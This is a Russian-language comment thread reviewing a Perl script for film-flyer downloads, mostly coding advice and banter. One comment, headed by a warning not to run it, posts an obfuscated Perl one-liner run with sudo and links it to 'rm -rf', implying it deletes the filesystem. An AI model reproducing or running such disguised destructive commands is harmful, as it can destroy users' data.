Pull to refresh

Comments 52

Рекомендую в начале всех скриптов на Перле больше 5-10 строк после шэбанга писать «use strict; use warnings;». Это позволит избежать массы всяких проблем.
UFO landed and left these words here
UFO landed and left these words here
UFO landed and left these words here
!!! Невкоем случае не запускайте этот код!!!
Если что я предупреждал :-)

Для тех кто видит первый раз, перл, он такой перл:

echo «test… test… test...» | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

lurkmore.ru/Rm_-rf
А еще в перле есть это
/ (.)(.) /
RegExp-ы
также рекомендую почитать книгу Perl — Best Practices от O'Really
+ попробуйте perltidy, perlcritic

1.переменные в литералах с двумя кавычками могут интерполироваться
2.Сишный for(;;) замените на for my $n (1..4)
3.Проверяйте результат open/close: open my $IMG, '>', "../i/$nextFlyer.jpg" or die «cannot open file: $!»;
4.new GD::Image($thubmWidth,$thubmHeight,1); лучше будет GD::Image->new($thubmWidth,$thubmHeight,1);

про open() || die двумя руками поддерживаю. скольких проблем позволяет избежать…
Cейчас модуль autodie появился, очень удобный.
UFO landed and left these words here
UFO landed and left these words here
UFO landed and left these words here
И тот же Perl как ни странно. Ещё про javascript забыли.
При чем тут мода? Если у вас руки не из того места растут то говнокод можно на чем угодно клепать. А если голова есть, то и на Perl'е в каноническом Java-стиле писать можно.
Да это тролль обычный, я сам написал сначала… Не надо его кормить.
UFO landed and left these words here
А зачем его мучать-то? Надо им пользоваться! :-) Очень часто ему практически нет альтернатив. Скажем, все приведенных вами другие языки сливают ему по скорости. А лично для меня важно, что в FreeBSD, в которой я большей частью работаю, Перл изначально встроенный и мне ничего не нужно делать, чтобы на нем писать: открыл текстовый файлик, написал вверху "#!/usr/bin/perl" и понеслась…
Также можно быть приятно или не очень удивленным, когда при необходимости накодить что-то помимо широко всеми используемого мейнстрима, оказывается, что модули для работы с требуемыми фенечками есть только у Перла, а на всех других языках придется все кодить самому или вообще забить.
Или вот из другой серии пример — чуть ли не на каждом хостинге с cPanel есть не только сам Перл, но и возможность ставить свои модули из CPAN в домашний каталог, чтобы пользовать в своих скриптах. Для того же PHP с его Pear это если и бывает, то сильно реже (я вообще не видел, хотя посмотрел сейчас поиском — такие есть, и то слава Богу)…
И подобных примеров позитива от использования Перла можно еще привести, думается, вполне немало…
Насчет мрачности и готичности — это, конечно, приятно, но лично я принципиальной разницы между теми же Перлом, php и тем же ЯваСкриптом не ощущаю. Синтаксис у них у всех растет из Си. Но если у Перла он оттуда растет напрямую, то у php — как раз наоборот из Перла, а у JS — из Явы, у которой из Си. ;-) А всякие там нюансы этого самого синтаксиса особой роли не играют. Тот факт, что вина за php'шный быдлокод ложится обычно на быдлокодера, а за Перловый — почему-то на сам Перл, — я отношу к социально-историческим и поведенческим моментом. :-) Когда начинался Перл, быдлокодеров в нынешнем понимании не существовало, каждый программист был априори гуру, и никто программистов особенно не стратифицировал. Вот все косяки на язык и привыкли валить… С тем же PHP ситуация другая — он изначально быдлокодерский (что ему до сих пор в вину и ставят) и вместе с процессом его «возмужания» шел и процесс деления программистов на уровни и группы, в связи с чем получилось два разнонаправленных процесса: язык в сознании масс становился все лучше, а ряд программистов — все хуже (так сказать, оттягивали негатив на себя). :-)
А можно как-нибудь попасть в список рассылки? Или это только для своих?
get(«freekino.timeout.ru/pix/ ».$nextFlyer.".jpeg"). На здоровье.
Что, правда бесплатно? А как все в зал помещаются? О_о
А почему Питерские на одно лицо, а Московские на два?
В Москве зажрались, требуется минримум 2 кресла.
Ну это клево конечно!!! Тока в каком виде их распечатывать надо? В чернобелом покатит?
С удовольствием впишу ваш адрес электронной почты в заветный список. От вас — письмо на vantoozz@gmail.com и город))
UFO landed and left these words here
UFO landed and left these words here
Помогли бы советом товарищу :) Видно же, что человек — программист.
UFO landed and left these words here
UFO landed and left these words here
Там данные не только считываютя, но еще и записываются: print FLY $nextFlyer."\n";. И файл открывается для чтения и записи: open(FLY,"+< ../data/flyers");
UFO landed and left these words here
Да насчет нуля Вы правы. В оправдание скажу, что переменная $n-счетчитк цикла в какой-то редакции кода была функцией инкремента номера следующего флаера. В последующих редакциях эта ее роль утратилась…
UFO landed and left these words here
Добавлю от себя, столько open+binmode+close просто не нужны, посмотрите модуль IO::File и ":raw" layer.

Опять же, писать print «Content type… у Perl программистов не принято, смотрите модуль CGI

UFO landed and left these words here
Было бы интересно узнать, почему вы бы не советовали использовать CGI.pm?

Что касается скрипта, то хочу обратить внимание автора, что flock и binmode это функции из разных миров. Блокировка не работает в Win, а binmode не нужен в Unix.
Потому, что CGI.pm очень «большой и толстый», довольно медленный, с избыточным функционалом. С основными тезисами можно ознакомиться тут.
Вот когда человек будет писать High Load проект, тогда и будет решать, что ему в CGI.pm нужно, а что нет. Пока же человеку стоит использовать CGI.pm.
Что касается вашей ссылки, то могу вам заявить: «Perl зло, используйте Asm». Бросите ли вы использовать Perl из-за этого? Сильно сомневаюсь.
А я и не говорил, что в данном случае его использовать нельзя (хотя вообще-то не нужно, посколько это не cgi-скрипт). Тем не менее, я бы не стал, пожалуй. И дело не только в скорости и размере.
В 90% случаев из модуля CGI нужен только один метод — param() (или vars()). Есть модули с аналогичным интерфейсом, только они не предоставляют лишнего функционала. Это напрямую сказывается на объеме и сложности документации модуля. Начать работать c CGI::Minimal проще, чем с CGI.pm.

> Что касается вашей ссылки, то могу вам заявить: «Perl зло, используйте Asm». Бросите ли вы использовать Perl из-за этого? Сильно сомневаюсь.
Типичный аргумент, сам когда-то так говорил. Потом понял, что это неправильный аргумент.
UFO landed and left these words here
Sign up to leave a comment.

Articles